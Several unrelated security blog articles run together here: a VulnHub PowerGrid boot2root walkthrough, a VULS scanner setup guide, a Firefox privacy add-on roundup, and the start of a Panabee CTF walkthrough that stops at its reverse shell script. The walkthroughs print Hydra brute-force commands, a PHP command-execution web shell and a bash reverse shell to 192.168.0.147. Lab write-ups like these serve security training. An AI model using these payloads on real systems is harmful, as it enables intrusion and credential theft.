Today we are going to solve another boot2root challenge called "PowerGrid: 1.0.1".  It's available at VulnHub for penetration testing and you can download it from here.

The merit of making this lab is due to Thomas Williams. Let's start and learn how to break it down successfully.

Level: Hard

Penetration Testing Methodology

Reconnaissance

§  Netdiscover

§  Nmap

Enumeration

§  Dirsearch

Exploiting

• HTTP Basic Authentication Brute Force
• Execute remote code (RCE) Roundcube exploit
• Decrypt key PGP and abuse for SSH

Privilege Escalation

§  Abuse of sudo Rsync

§  Abuse of pivoting SSH

§  Capture the flag

Walkthrough

Reconnaissance

We are looking for the machine with netdiscover

$ netdiscover -i ethX

So, we put the IP address in our "/etc/hosts" file and start by running the map of all the ports with operating system detection, software versions, scripts and traceroute.

$ nmap -A –p- powergrid.vh

Enumeration

The game begins and the burden, since we will only have 3 hours to solve the challenge and thus save the critical infrastructure.

We access the web service, we see the time, but we also list three users: deez1, p48 and all2.

We use dirsearch and list a directory protected with HTTP Authentication Basic.

With what we found and knowing 3 users, we will make a brute force attack with the Hydra tool and the rockyou dictionary.

We managed to access with the credentials obtained and listed a webmail with Roundcube.

We use the same credentials and can read a single email, in it we have an encrypted message in PGP, but to be able to read its content in plain, we need the private key and the password. It is very likely that it is the same password, since this user has reused the same password for several services.

Exploiting

We listed the version of Roundcube and looked for exploits, we found that it has a version vulnerable to RCE (Remote Code Execution)

Exploit: https://www.exploit-db.com/exploits/40892

As always, we will review what the exploitation consists of and make a proof of concept, this proof will create a info.php file.

Legitimate request:

Malicious request:

We run the file and see that the site is indeed vulnerable.

Now we will create a php file that allows us to execute arbitrary commands.

Payload URL-encode:<?php passthru($_GET['cmd']); ?>

We check that our file works:

Perfect! Now we'll put a netcaton the wire and run a reverse shell. (remember to encode it in URL-encode all characters)

Great! Now we will use our two favorite commands to get an interactive shell.

We will go through files and directories recursively, we will stumble upon the firstflag and the first hint.

So let's start, we identify ourselves with the user "p48" reusing the same credentials and we find in his folder "/home/" the gpg private key(remember that it was the only one we were missing to be able to decipher the text).

For a strange reason, the native "gpg" tool didn't work for me, so I had to use this online tool and we get a SSH private key.

The machine we have committed to had no SSH service open, we remembered the "pivot" track, checked the connections and found a service that works by "docker".

We give 600 permissions to the private key and use it to connect via SSH to the docker docker and read the 2nd flag and the next hint.

The next hint leads me to run "sudo -l" and check that you can run the rsyncbinary as root.  We execute the following command to escalate privileges as root abusing this advantage.

And once being root, we access its folder and read the 3rd flag and the next hint.

Privilege Escalation (root)

"backwards? pivoting?" Let's repeat the SSH move, but this time we will do it from the compromised docker machine.

Great! We have permissions as root and we can read the last flag.

Author: David Utón is Penetration Tester and security auditor for Web applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks. Contacted on LinkedInand Twitter.

VULS is an open-source agentless vulnerability scanner that is written In GO Language for Linux Systems. For server Administrator having to perform software updates and security vulnerability analysis daily can be a burden. VULS can be useful or helpful to automate Vulnerability Analysis and to Avoid the burden of manually performing of Vulnerability analysis of the software installed on the system.  It uses multiple Vulnerability databases, such as Metasploit, Exploit DB, NVD (National Vulnerability Database).

Table of content

·         Vuls

§  Key Features

§  Architecture

·         Prerequisites

·         Installation & Configuration of Dependencies

§  Installing Dependencies

§  Installation & Configuration of GO-CVE-Dictionary

§  Installation & Configuration of Goval-Dictionary

§  Installation & Configuration of Gost

·         Install and Configure VULS

§  Install and configure VULS repo (GUI) Server

§  Requirements

§  Installation

§  Usage

§  DigestAuth

§  Configuration of TOML file

·         Running Local Scan

·         Scanning Multiple Remote Host systems

Vuls Feature & Architecture

Key Features

·         VULS provides a way of automating Vulnerability for Linux packages

·         VULS can be installed on all Linux based distros for example: - Linux, Ubuntu, Debian, FreeBSD, CentOS, Solaris, and so on…

·         VULS has the ability to scan multiple systems at a single time by using SSH protocol and to send reports via Slack or Email.

·         VULS uses three Scan modes Fast, Fast Root, and Deep you can select according to Situation or as per your requirements.

·         Scan results can be Viewed by using TUI (Terminal user interface) and GUI (Graphical user interface).

·         When generating reports VULS prioritizes High Severity Vulnerabilities using an established ranking system from Database.

Architecture

Fast Scan: - It performs scans without root privilege, No dependencies, almost no load on the scan target server.

Fast-root Scan: - It performs scans with root privilege, no dependencies, almost no load on the scan target server.

Deep Scan: - It performs a scan with root privilege, containing all dependencies, almost full load on scan target server.

Offline Scan Mode: - Fast, Fast-root, and Deep have Offline Scan Mode. VULS can Scan with no internet access with offline scan mode.

Now we see how to install and Configure VULS as a Vulnerability scanner for further investigations.

Let’s take a look 🤔!!

Prerequisites

To configure VULS in your Ubuntu platform, there are some prerequisites required for installation.

§  Ubuntu 20.04.1 with minimum 4GB RAM and 2 CPU

§  SSH Access with Root Privileges

§  Firewall Port: - 5111

§  Multiple servers running (ubuntu 20.04 or any vulnerable server) if you want to set up VULS to scan remotely.

Installation & Configuration of Dependencies

 Let’s begin the installation process

Note: - The whole installation process will take a long time to finish so make your self comfortable and begin the installation process.

 Installing Dependencies

In this section, we’re going to create a folder Vuls-data. VULS uses SQLite to store their vulnerability information so, that we’re going to install SQLite, Go programming language, and other dependencies.

We are going to store all VULS related data in the /usr/share/vuls-data directory. To create it run the following as described below.

mkdir /usr/share/vuls-data

Now we have created vuls-data folder where we are going to store all data, and this will be our workspace before getting started let’s install the required dependencies.

Now, we’re going to install

·         SQLite: -VULS uses SQLite to store its vulnerability information.

·         Debian-goodies: - it is the check restart utility that provides the information which package needs to be restarted in any moment.

·         GCC: - GNU compiler collection is a compiler system. GCC is a toolchain and the standard compiler for Unix-like systems.

·         Wget

·         Make: -Make is used to detect automatically which part of a large program need to be recompiled and issue the commands to recompile them.

Install all dependencies by using the following command.

apt install sqlite git debian-goodies gcc make wget

now you have installed the required dependencies Next, install GO using snap package manager by issuing the following command

snap install go --classic

Next, you need to set up a few environment variables for Go that specifies the working directory for Go.

To prevent from setting these variables every time the user logs on you need to automate this process by creating an executable file go-env.sh under /etc/profile.d. This will execute the directory every time the users log on. To automate this process, follow the below commands.

nano /etc/profile.d/go-env.sh

Add the following commands to the file:

export GOPATH=$HOME/go

export PATH=$PATH:$GOPATH/bin:/snap/bin

Still go-env.sh file is not executable. Make it executable by running by changing the permission of that file or directly running by the following command.

chmod +x /etc/profile.d/go-env.sh

And then reload the environment variables by running the following command.

source /etc/profile.d/go-env.sh

Installation & Configuration of Go-CVE-dictionary

Let’s download and install go-cve-dictionary. The go-cve-dictionary is a tool that provides access to NVD (National Vulnerability Database). NVD is the US government repository of publicly reported cybersecurity vulnerabilities, that contains vulnerability IDs (CVE — Common Vulnerabilities and Exposures), summaries, and impact analysis, and is available in a machine-readable format. You can access the NVD using the Go package. Then you’ll need to run and fetch vulnerability data for VULS to use.

Let’s install Go-cve-dictionary under $GOPATH/src/ by cloning GO packages from GitHub which is made by Kotakanbe and compiling it afterward.

Let’s start it by creating a directory where to store Go-cve-dictionary by running the following command.

mkdir -p $GOPATH/src/github.com/Kotakanbe

Navigate to it and clone g0-cve-dictionary from GitHub by issuing the following command

cd $GOPATH/src/github.com/kotakanbe

git clone https://github.com/kotakanbe/go-cve-dictionary.git

And then navigate to the cloned package further then start installation.

cd go-cve-dictionary

make install

Further then, make it available wide into your system copy It to /usr/local/bin by running below command.

cp $GOPATH/bin/go-cve-dictionary /usr/local/bin

go-cve dictionary requires a log output directory and logs are generally created under /var/logs/.

Let’s create a directory for go-cve-dictionary and the log directory is readable by everyone restrict to current user by issuing following command.

mkdir /var/log/vuls

chmod 700 /var/log/vuls

Now fetch vulnerability data from NVD and store it to VULS workspace under /usr/share/vuls-data:

for i in `seq 2014 $(date +"%Y")`; do sudo go-cve-dictionary fetchnvd -dbpath /usr/share/vuls-data/cve.sqlite3 -years $i; done

In my case I’m cloning the cve database from the year 2014 this will download the NVD data from 2014 to the current year you can clone or download data as desired year as you want.

NOTE: - This command will take a long time to finish, till then go get served you with a Coffee ☕.

Installation & Configuration of goval-dictionary

Let’s download and install “goval-dictionary”. The goval-dictionary is a tool that will copy the OVAL (Open Vulnerability and Assessment Language) which is an open language used to express checks for determining whether software vulnerabilities exist on a given system and provides access to the OVAL database for Ubuntu.

The goval-dictionary is also written by Kotakanbe so, install goval-dictionary in the same folder that previously you created under “$GOPATH/src/github.com/Kotakanbe” and then clone the Package from the GitHub by running the following command.

cd $GOPATH/src/github.com/kotakanbe

git clone https://github.com/kotakanbe/goval-dictionary.git

And then navigate to the cloned package further then compile or install it with “make” by running the following command.

cd goval-dictionary

make install

Copy it to /usr/local/bin to make it globally accessible and then after that Fetch the OVAL data for Ubuntu 20.x or another version as per your requirement by running the following command.

cp $GOPATH/bin/goval-dictionary /usr/local/bin

goval-dictionary fetch-ubuntu -dbpath=/usr/share/vuls-data/oval.sqlite3 20

Installation & Configuration of gost

Let’s download and install “gost”. Gost is a Debian security Bug tracker that collects all information about the vulnerability status of packages distributed with Debian and provides access to the Debian security bug tracker database.

Let’s install this package into a new folder by running the following command:

mkdir -p $GOPATH/src/github.com/knqyf263

Navigate to the folder just you have created after that, clone the gost packages from GitHub, and then make install by running the following command:

cd $GOPATH/src/github.com/knqyf263

sudo git clone https://github.com/knqyf263/gost.git

After it finishes entering to the cloned package than “make install”

cd gost

make install

Don’t forget to make it accessible globally and then link its database to the /usr/share/vuls-data by running following command:

cp $GOPATH/bin/gost /usr/local/bin

ln -s $GOPATH/src/github.com/knqyf263/gost/gost.sqlite3  /usr/share/vuls-data/gost.sqlite3

Create a log file directory for gost it requires access to the log output directory and then restrict access to the current user by using the following command:

mkdir /var/log/gost

chmod 700 /var/log/gost

And then, fetch the Debian security tracker data by issuing the following command:

gost fetch debian

Install & Configure VULS

We have installed all required Dependencies of VULS. Now you can download and install Vuls from source code. Afterward, you’ll configure the VULS reps server which is the GUI interface of the VULS.

Let’s Create a new directory that contains the path to the Vuls repository, by issuing the following command:

mkdir -p $GOPATH/src/github.com/future-architect

Navigate to the created directory then Clone Vuls from GitHub by running the following command:

cd $GOPATH/src/github.com/future-architect

git clone https://github.com/future-architect/vuls.git

Enter to the Package Folder and then compile and install by running the following command:

cd vuls

make install

Also, don’t forget to make it accessible globally

cp $GOPATH/bin/vuls /usr/local/bin

Hmm 😃 !! you have successfully installed VULS in your system

Install & Configure VULS repo server (GUI)

VulsRepo is an awesome OSS Web UI for Vuls. With VulsRepo you can analyze the scan results like Excel pivot table.

Requirements

To configure VULS in your Ubuntu platform, there are some prerequisites required for installation.

·         future-architect/Vuls >= v0.4.0

·         Web Browser: Google Chrome or Firefox

Installation

In manner to install Vuls-repo server in your Ubuntu platform follow the steps as stated below

Step1. Installation

Clone the vuls-repo from GitHub by running the following command:

cd $HOME

git clone https://github.com/usiusi360/vulsrepo.git

Step 2. Change the setting of vulsrepo-server

Set Path according to your environment.

cd$HOME/vulsrepo/server

cp vulsrepo-config.toml.sample vulsrepo-config.toml

nano vulsrepo-config.toml

[Server]

rootPath = "/root/vulsrepo"

resultsPath  = "/usr/share/vuls-data/results"

serverPort  = "5111"

Step 3. Start vulsrepo-server

Start the vulsrepo-server by executing the below command under the directory

HOME/vulsrepo/server

cd$HOME/vulsrepo/server

./vulsrepo-server

You can also verify whether it is running or not by opening the below URL, you need to make sure port 5111 is open on your server firewall and then you can access vulsrepo-server on the web interface at

http://localhost:5111

Nice 😀 !! As you can see it is successfully installed

Step 4. Always activate vulsrepo-server

In Case: SystemV (/etc/init.d)

Copy startup file. Change the variable according to the environment.

cp $HOME/vulsrepo/server/scripts/vulsrepo.init /etc/init.d/vulsrepo

chmod 755 /etc/init.d/vulsrepo

nano /etc/init.d/vulsrepo

And then make changes conf file as per your environment

In Case of: systemd (systemctl)

Copy startup file. Change the variables according to the environment.

sudo cp $HOME/vulsrepo/server/scripts/vulsrepo.service /lib/systemd/system/vulsrepo.service

nano /lib/systemd/system/vulsrepo.service

And then make change in conf file as per your environment as shown below

start vulsrepo-server

systemctl start vulsrepo

Usage

Access the browser

http://<server-address>:5111

DigestAuth

create an authentication file to perform digest authentication,

./vulsrepo-server -h

./vulsrepo-server -m

Edit vulsrepo-config.toml

nano vulsrepo-config.toml

Use SSL

Create a self-signed certificate by issuing the following command

openssl genrsa -out key.pem 2048

openssl req -new -x509 -sha256 -key key.pem -out cert.pem -days 3650

Edit vulsrepo-config.toml file as shown below by running the following command

nano vulsrepo-config.toml

Start vulsrepo-server

Restart Vulsrepo-server by running the following command:

systemctl restart vulsrepo-server

And then visit the web interface, enter the login credentials that you created during the installation process to access the GUI interface. Once you logged in then you will have your VULS GUI Dashboard ready to set fire on the Vulnerability 😊.

Configuration of TOML file

Now, it’s time to create a configuration file for Vuls. Navigate back to /usr/share/vuls-data:

cd /usr/share/vuls-data

Vuls stores its configuration in a TOML file, which is config.toml. Create by issuing the following command:

nano config.toml

And then Enter the following configuration:

[cveDict]

type = "sqlite3"

SQLite3Path = "/usr/share/vuls-data/cve.sqlite3"

[ovalDict]

type = "sqlite3"

SQLite3Path = "/usr/share/vuls-data/oval.sqlite3"

[gost]

type = "sqlite3"

SQLite3Path = "/usr/share/vuls-data/gost.sqlite3"

[servers]

[servers.localhost]

host = "localhost"

port = "local"

scanMode = [ "fast" ]

#scanMode = ["fast", "fast-root", "deep", "offline"]

Then save and close the file.

Ok 😃 !! you have successfully created a conf.toml file

To test the validity of the configuration file, run the following command:

vuls configtest

Congratulations!! You’ve installed and configured Vuls to scan the local server on your Ubuntu Platform😉.

Running local Scan

Exited? let's do it 😁 !!

The default scan mode, if not explicitly specified, is fast.

To run a scan, execute the following command:

vuls scan

Wow  !! As we can see it scanned the whole system and generated a report

Wait this is not enough… Let’s what's inside the report

To check the report on TUI (Terminal based user interface) issue the following command

vuls tui

Vuls divides the generated report view into four panels as stated below:

·         Scanned hosts: located on the upper left, lists hosts that Vuls scanned.

·         Found vulnerabilities: located right of the hosts list, shows the vulnerabilities that VULS found in installed packages.

·         Vulnerabilities information: it is up of the left part of the screen, that shows detailed information about the vulnerability, pulled from the databases.

·         Vulnerable packages: located right of the detailed information, shows the affected packages and their versions.

Aha 😵 !! It’s hilarious

Let’s check the How the GUI shows these results

Get back to the GUI Dashboard and then mark and submit the generated report that you want to view as shown below

And then see the magic 🙃 !!

As we can see it converted to JSON report inti GUI with detailed information. By tapping on CVE ids you can more information about their vulnerability.

Also, you can filter this report as per your known by dragging the required report from the Heatmap section to Count as shown below.

Let’s make it more informative by applying filters as shown below:

Scanning Multiple remote host systems

Step 1: Enable to SSH from localhost

Vuls doesn’t support SSH password authentication. So we have to use SSH key-based authentication. Create a key pair on the localhost then copy the id_rsa.pub key to authorized_keys on the remote host.

On Localhost:

ssh-keygen -t rsa

Copy /.ssh/id_rsa.pub key to the clipboard.

And go to the Remote Host and issue the following command:

mkdir ~/.ssh

chmod 700 ~/.ssh

nano ~/.ssh/authorized_keys

and then Paste the rsa.pub key from the clipboard to ~/.ssh/authorized_keys and then follow the below steps:

chmod 600 ~/.ssh/authorized_keys

Come back to the Localhost:

And also, we need to confirm that the host keys of the remote scan target has been registered in the known_hosts of the localhost. Further, then we need to add the remote host’s Host Key to $HOME/.ssh/known_hosts, log in to the remote host through SSH before scanning.

ssh root@192.168.29.219 -i ~/.ssh/id_rsa

where 192.168.29.219 is the IP of remote Host

Step 2: Configure (config.toml) as shown below

cd /usr/share/vuls-data

nano config.toml

[servers.ignite]

 host        = "192.168.29.219"

 port        = "22"

 user        = "root"

 keyPath     = "/root/.ssh/id_rsa"

Check and verify config.toml and settings on the server before scanning:

vuls configtest

Start scanning remote host by issuing the below command:

vuls scan

Congratulation 🙂!! As you can see you have been successfully scanned your remote host. Let’s check the generated report on the GUI dashboard.

By applying more filters, you can make you can hunt or investigate Vulnerable packages more deeper.

Let’s end Here !! 😊

In today’s article, we will facilitate ourselves with the skill of protecting us online. Firefox is a web browser developed by Mozilla. With its latest quantum update, it provides us with improved speed and unique design. Firefox is an amazing web browser, its user friendly and customizable. When we talk about penetration testers or security analysts; Firefox is the go-to browser for it. It has various add-ons that help us to protect us online and allow us to have some privacy post-Snowden revelations. The internet is the big unknown and the most non-trustable world in itself. Every month or so there are data breaches and malware attacks such as ransomware and other than this you are never secure. Various websites poach your data, personal information, etc. Accidentally stumbling upon an ad and then being bombarded with it. Now, if you are looking to get away from all this, then this article is the answer for you. But before can talk about the various add-on that helps us to stay protected, we will talk about profiling in Firefox.

Table of Content:

·         Profiling in Firefox

·         Plug-ins

o  uBlock Origin

o  uMatrix

o  HTTPS Everywhere

o  Privacy settings

o  No Script

o  Privacy Badger

o  Decentraleyes

o  Terms of Service: Didn’t Read

o  Snowflake

o  Temporary Containers

Profiling in Firefox

In Firefox, you can create various profiles according to your needs in the browser as these profiles are customizable.  For instance, you can have one profile for research purposes and others for VAPT. Creating these profiles is convenient and quite easy.  To create a profile, open your Firefox browser and type “about:profiles” in the URL tab. Then simply left-click on “Create New Tab”. as shown in the image below:

Once you click on “Create New Profile”, a dialogue box will open. Fill the name of the profile you want like here like we gave “Research_division”. After that click on the “Finish” button and the profile will be created.

Similarly, you can create as many profiles as you want with different names depending on your needs. In the image below you can see that we have created yet another profile by the name of Privacy and Protections. The default location of every profile in windows is C:\Users\%username%\AppData\Roaming\Mozilla\Firefox\Profiles and in Linux the path will be /root.mozilla/firefox/. Privacy and Protection (as shown in the image below) but you can always change it as per your desire.

Both of our profiles are created as we wanted with individual personalization, just as shown in the image below. These profiles separates all the information, plug-ins, and settings from one another. Once all the profiles are created it will give you an option whether you want to set a profile as default or launch it in new browser window. You can also rename or remove the profiles. It also gives you an option to directly open the directly where the profiles are located. You will find both root directory and local directory paths there.

Plug-ins

uBlock Origin

uBlock is created by Raymond Hill. It is an open-source extension. It blocks all the advertisement generally and especially the ones which can potentially be malicious. It even filters out the URL of various advertisement which use trackers to pursue your preferences and information. The major feature of this amazing ad blocker is that it even blocks the latest tracking techniques such as CNAMEs. When you traverse yourself from website to website, uBlock stops one website to share your data with another. This technique of websites sharing data with each other is  harder  to pinpoint with other ad blockers as this particular issue remains but,  with uBlock origin; this is not a problem. Along with all this, it also blocks pop-ups, cosmetic ads, remote fonts, even disables JavaScript. Bonus to this, it removes Youtube ads too.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

uMatrix

uMatrix is an add-on created by Raymond Hill as well. This add-on was developed to easily control your web-content i.e. you can permit what will load on your browser and what not. This add-on works like a firewall prevents the websites to use your cookies and it protects you from malware, trackers, bloatware, etc. the important thing to remember, as the data loads in the browsers, is that as this add-on blocks tracker and disallow unnecessary codes to execute themselves; it increases internet and page load up speed. Even the bandwidth consumption improves. uMAtrix takes precautional steps and blocks third-party domain which makes it difficult to access some sites but that can be controlled depending on your demands. Things that you can control via uMatrix are:

·         Cookies

·         CSS

·         Image

·         Media

·         Scripts

·         XHR

·         Frame

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

HTTPS Everywhere

There are a multitude of websites all over the internet that does not have SSL layer protection. Almost all of these are used as a decoy to hack or are prone to the Man In The Middle (MITM) attacks itself. Upon surfing the web, you can never be sure which website is which and whether it is safe to browse them. Hence, HTTPS Everywhere is the answer to this problem as it protects from such online threats. This browser extension provides you with an SSL/TSL layer of protection across the internet. This layer of protection enables you to encrypt whatever the information is sent or received from the website, which makes you data safe from attacks like spoofing, sniffing, MITM, etc.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Privacy Settings

This extension is developed by Jeremy Schomery. This is the most convenient extension as it brings all the privacy settings options together in one place. All the settings can be adjusted from the pop-menu of the extension. It has a tool panel for all our preferences. To provide you with privacy this extension makes sure that no data is sent to a third-party website.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

NoScript Security Suite

NoScript Security Suite is developed by Giorgio Maone. It is referred to as a suite as it provides various security measures for both developers and security analysts. To be entirely secure, many security analysts argue that disabling JavaScript on the browser is an important practice. There are few but major browser vulnerabilities that exploit JavaScript to attack the target. Although almost all the websites try and make themselves secure from these vulnerabilities. But one can never be too sure. It’s a fool's errand to be entirely dependent on others for your protection. So, to protect themselves from their end comes to play too. And this extension helps us in achieving the said. NoScript helps to control the disabling the JavaScript as easily as possible. Here, it is important to note that many people will proclaim that today's browsers provide us with the option of disabling JavaScript, then why do we need this extension? Here, the point to be noted is that this option is limited (limitation depends on the browser) and you cannot control it as you can with NoScript. This extension actively blocks executable content which is dismissed all over the world. It also provides security against known security exploits. Most importantly it offers client-side security by giving security against cross-site scripting (XSS) and HTML injections as it identifies the malicious request and neutralizes it. This extension also brings Application Boundaries Enforcer, this enforcer works like a firewall, and the policies of this firewall can be defined by the user. It guards the entry point of the browser which in turn helps the user to be safe from the attacks like CSRF and DNS rebinding. Anti-Clickjacking and HTTPS enhancement is also provided by this superb extension.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Privacy Badger

This add-on is developed by EFF Technologists and they have done amazing work with this add-on. While surfing the internet, privacy is a must. But there is a swarm of tracking ads, clickbait ads, etc. online that interrupt your smooth surfing and bait you to fall victim to these without even knowing. The worst part is there is hardly a way to find out whether you are being tracked or not. We can simply identify the evidence, such as if you search for something online; be sure as hell that you are going to see ads regarding it for a long time, and hence the online tracking. The privacy badger extension comes handy here. This extension is praised as it blocks cookies that track you even if you delete them and it blocks third-party tracking too. Some third-party domains are required for the site to load itself, this requirement can be of maps, images, etc. Here, this tool will analyze it and allow the important requirements and disallow the tracking cookies and referrers. The cookies that have a tracking id or are hidden are not allowed because of this add-on. It even identifies super cookies that keep a track of you. The add-on works in incognito mode as well and allows you to whitelist the domains. The feature of whitelisting the domains is provided so that if you want to allow a tracking domain you can allow it as your requirement. This tool works by identifying the domain's behavior and it also has a yellow list. This yellow list contains the name of the websites that are surely collecting your data and tracking you.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Decentraleyes

Decentrelayes is developed by Thomas Reintjes. This is a wonderful add-on and must have you are serious about privacy and protection. Usually while browsing the internet, you are connected to public Content Delivery Network. This connection allows you to access important and necessary javascript libraries that allow the content to be loaded on your webpage. Now here is the thing, being constantly connected to public CDNs is insecure in terms of privacy and tracking and it’s a pickle because you can’t surf the net without such libraries. To all these problems, Decentrelayes is the solution. To server, you with the motto of privacy and anti-tracking Decenterelayes takes the necessary libraries and store them on your local machine. This way when you are online, you don't need to be connected to public CDNs as you can use the local ones. The fourteen JavaScript libraries provided by Decentrelayes are:

·         AngularJS

·         Backbone.js

·         Dojo

·         Ember.js

·         Ext Core

·         JQuery

·         JQuery UI

·         Modemizr

·         MooTools

·         Prototype

·         Scriptaculous

·         SWFObject

·         Underscore.js

·         Web Font Loader

And the list of networks supported by this marvelous extension is as following :

·         Google Hosted Libraries

·         Microsoft Ajax

·         Cloudflare

·         JSDelivr

·         Yandex CDN

·         Baidu CDN

·         Sina Public Resources

·         UpYun libraries

It works by analyzing HTML code. After studying the HTML data, it will take the public CDNs and swap it with the local ones that it provides. This way the request to the external CDN is never sent from the browser. Hence, they can’t track your online activity or access your data.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Terms of Service; Didn’t Read

Terms of Service; Didn’t Read is a browser extension developed by Abdullah Diaa, Hugo, Michiel de Jong. The name of the extension is a wordplay on the phrase “Too long; Didn’t Read”. This is the simplest and yet most important extension. When it comes to Terms and Services of a website, nobody wastes time in click "I Agree" or "I Accept". The sheer quantity and complicated text confuse everybody. We all do it but none of us has the tiniest bit of idea what we are agreeing to. Hence, this extension. This add-on comes handy as it grades the Terms of Services provided by various websites. These grades are from A to E; where A is best and E is worst. It also reviews the privacy policies as positive, negative, and neutral. Now after knowing the gest of Terms of Services through this extension, it is wholly on the user whether to access the website or not. The purpose of this add-on is to aware of the user of the authenticity of the sites that they are using and letting them know about the policies and what they are agreeing to; just so they can form an opinion and decide whether they want to continue or not. According to us, this is a must-have extension as different exploitation in terms of identity theft, data collection, accessing personal information, etc through Terms of Services unveils every other day.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Snowflake

Snowflake extension is created by The Tor Project. It was developed to give easy access to the Tor Network after the governments banned Tor bridges. As it is the Tor network, it allows you to be anonymous on the internet; all the while protecting your data and identity. This web browser extension allows you to tap into the tor network through a proxy and this network has multitudes of servers. The entry points to these servers are known as tor bridge and there are Tor relays too that bounce the traffic and helps one to stay anonymous as long as they are surfing. As it allows you to stay anonymous, you are protected against tracking and even your data could not be collected. It also helps with hiding IP address.

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Temporary Containers

When you browse the internet traditionally, it saves all your cookies and cache in a single place. This makes it easy for them to steal our data, intrude on our privacy, and track us. But if you separately contain all this somewhere then the problem will be solved. And it is possible to do so with Temporary Containers. It allows you to create a container through which you can surf the internet without worry about being tracked. The containers created by this extension are secluded as it aims to segregate the data from the rest of the browser. These containers are the same as basic profiling provided by Firefox (as mentioned at the start of this article). And by combining both profiling and this Temporary Containers browser extension, your browser will create a secure and safer environment for you to surf through the internet as the containers are removed when the last tab is closed and so its data. Automatic or manual; both modes are supported by it. 

To add this extension in your browser, simply open your browser. And then search for the particular extension. From the extension store, click on the "Add to Firefox" button and then again, from the pop-up dialogue box click on the "add button" as shown in the image below. The extension will be added to your browser. And you can customise the settings of the extension from the extension widget on the right-hand side of the URL tab.

Conclusion

Major social media, shopping websites, and other webpages track you through your likes and dislikes, along with your location. Maintain a log of your every online activity. They even track the things that you start to write but do not post to track your self-censorship. And these are just a few things that we have mentioned. To get a better sense of internet tracking you can read this article here.And using all such add-ons, you can be safe and secure online by accessing quick and secure internet with amplified protection.

All of these Add-ons are open source and free to use. These are trustable Add-ons that provide security and privacy to any user using it. The best thing is all of these can be customised to the user's needs and requirements. Using these extensions consciously and properly will make you non-existent as far as the online tracking goes.

Introduction

Today we are going to crack this vulnerable machine called Panabee: 1. It is created by ch4rm. He is available on Twitter by handle aniqfakhrul. This is a Boot to root kind of challenge. We need to get root privileges on the machine and read the root flag to complete the challenge. Overall it was an intermediate machine to crack.

Download Lab from here.

Penetration Testing Methodology

·         Network Scanning

o   Nmap Port Scan

·         Enumeration

o   Browsing HTTP Service

o   Enumerating SMB Service

o   Bruteforcing FTP Credentials

o   Enumerating FTP Service

·         Exploitation

o   Exploiting File Upload Vulnerability

·         Post Exploitation

o   Enumerating Sudo Permissions

o   Uploading Malicious Script

o   Getting Jenny User Session

o   Downloading pspy64 script

o   Running pspy64 script

·         Privilege Escalation

o   Exploiting tmux for Root

·         Reading Root Flag

Walkthrough

Network Scanning

The IP Address of the machine is found to be 192.168.0.165. To move forward we need to find the services that are running on the machine. We can achieve this using a nmap Aggressive scan.  Nmap reveals a lot of services. We have the FTP (21), SSH (22), SMTP (25), HTTP (80), NetBIOS (139, 445).

nmap -p- -A 192.168.0.165

Enumeration

We start with the Enumeration stage. First Service we decided to take a look was HTTP. Upon looking at the IP Address in Web Browser we see a Apache2 Default Page. Nothing special to look here.

After this, Next service we decided to enumerate was SMB. We connected to the service using the smbclient tool. Here we see the bunch of shares that are hosted on the machine. The share “note” seemed to be worth looking into. We reconnect to that share. Here we find a text file by the same name. We download the text file onto our local system using the get command. We read the text file it was addressed to goper. Cool a username. The note aplogieses for a late response and mentions the server will backup whatever the files that are into the home directory of the user goper.

smbclient -L \\192.168.0.165

smbclient \\\\192.168.0.165\note

ls

get note.txt

exit

cat note.txt

Since there is a user on the machine by the name of goper. It is possible that goper has the access to the FTP service. The issue with this theory that we are still unaware for a password for the user goper. This is where we thought that Bruteforcing is a good idea. We used the rockyou wordlist and Hydra as the tool to bruteforce. In few seconds it was in front of us that the password for the user goper is spiderman. My spider senses are tingling here. Let’s take a look inside the FTP service.

hydra -l goper -P /usr/share/wordlists/rockyou.txt 192.168.0.165 ftp

We connect to FTP service using the credentials that we just found. Here we have a python file by the name of status. We downloaded the status.py to our local system to take a closer look at it. A simple look on the script tells us all this does is send ping packets to the server or home IP Address and writes the Status that Server is up or down in a file status.txt inside the user jenny’s home directory. Cool another user.

ftp 192.168.0.165

ls

get status.py

bye

cat status.py

Exploitation

Since there is a backup functionality and FTP service that means we can upload files to the target machine as the user goper. This makes this simple. We can create a simple bash reverse shell and upload it using the FTP service and get a session on target machine. We created a shell file as shown in the image below.

#!/bin/bash

bash -i >& /dev/tcp/192.168.0.147/8080 0>&1

